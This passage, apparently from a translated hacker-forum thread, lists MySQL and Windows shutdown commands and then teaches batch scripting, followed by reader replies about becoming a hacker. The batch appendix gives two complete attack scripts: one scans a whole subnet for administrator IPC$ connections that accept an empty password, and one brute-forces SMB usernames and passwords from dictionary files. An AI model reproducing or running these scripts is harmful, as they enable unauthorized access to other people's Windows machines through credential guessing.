Note: u and root can be used without spaces, and the same for others)
exit Exit MYSQL
mysqladmin -u username -p old password password new password Change password
grant select on database.* to username@login host identified by \"password\"; Add a new user. (Note: Different from above, the following is a command in the MYSQL environment, so there is a semicolon at the end as the command end symbol)
show databases; Display the database list. At the beginning, there are only two databases: mysql and test. The mysql library is very important. It contains the system information of MYSQL. We change the password and add new users, in fact, we operate with this library.

New commands in win2003 system (practical part):
shutdown /parameter Turn off or restart the local or remote host.
Parameter description: /S turn off the host, /R restart the host, /T number Set the delay time, range from 0 to 180 seconds, /A cancel the boot, /M //IP specify the remote host.
Example: shutdown /r /t 0 Restart the local host immediately (no delay)

Appendix: Batch processing commands and variables

1: for command and variable Basic format:
FOR /parameter %variable IN (set) DO command %variable: specify a single letter replaceable parameter, such as: %i, and specify a variable to use: %%i, and call the variable to use: %i%, the variable is case-sensitive (%i is not equal to %I).
Batch processing can process variables from %0—%9 each time, a total of 10. Among them, %0 is default for the batch processing file name, %1 is default for the first value input when using this batch processing, and similarly: %2—%9 refer to the 2nd-9th values input; example: net use \\ip\ipc$ pass /user:user In, ip is %1, pass is %2, user is %3

(set): Specify one or a group of files, and wildcards can be used, such as: (D:\user.txt) and (1 1 254)(1 -1 254), {"(1 1 254)" the first "1" refers to the starting value, the second "1" refers to the growth amount, the third "254" refers to the end value, that is: from 1 to 254; "(1 -1 254)" means: from 254 to 1}

command: Specify the command to be executed for each file, such as: net use command; if you want to execute multiple commands, separate the commands with: &
command_parameters: Specify parameters or command line switches for specific commands

IN (set): Refers to taking values in (set); DO command: Refers to executing command

Parameter: /L refers to using the incremental form {(set) is in incremental form}; /F refers to continuously taking values from the file until it is taken completely {(set) is a file, such as (d:\pass.txt) when}

Usage example:
@echo off
echo Usage format: test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "The command completed successfully" >>test.txt
Save as test.bat Description: Try to establish an IPC$ connection with an empty password for administrator for each of the 254 IPs of the specified C class network segment in turn. If it is successful, store the IP in test.txt.

/L refers to using the incremental form (that is, from 1-254 or 254-1); the first three digits of the input IP: *.*.* are the batch processing default %1; %%G is the variable (the last digit of the ip); & is used to separate the two commands echo and net use; | means that after establishing ipc$, use find to check whether there is the information "The command completed successfully" in the result; %1.%%G is the complete IP address; (1 1 254) refers to the starting value, growth amount, and end value.
@echo off
echo Usage format: ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
Save as: ok.exe Description: After entering an IP, use the dictionary file d:\pass.dic to brute-force the user password in d:\user.dic until the values in the file are taken completely. %%i is the user name; %1 is the input IP address (default).

It's all things under the command, very hard to remember

Want to become a master
These commands must be remembered how many

Why does it get more and more confusing..
The DOS basics are not very good.
The commands given above don't say how to use them,

Can it be used in P processing?

Thanks to the LZ for sharing~

Nowadays, hackers indeed need to put in hard work on network, file attribute, and system path commands :cool:

It's pretty good. I used to use it, but now I've almost forgotten it. Thanks.

Hackers need simple commands to accomplish great things

Some can't run. ~ Maybe my DOS version is too low...

Although I don't understand it, but I know this is very powerful. Is there any master willing to take me as a novice apprentice? Kind friends, friends who are willing to share knowledge mmmmmmmmmmmmmmmmmmmm die me

I think it should be step by step!! After learning his basic commands, if you go to read those so-called good books, you should be able to understand them too!!! Hehe, still need to train (practice) how many times maybe to master it!! Hahaha, passing by!!

It is very useful. But some commands are not very convenient to use. For example, net use, net time... always prompt access denied. It seems that we still need to work hard.

A few examples would be better

The classic is definitely classic, but it seems a bit difficult. There are too many commands.

Copy it down first and study it slowly
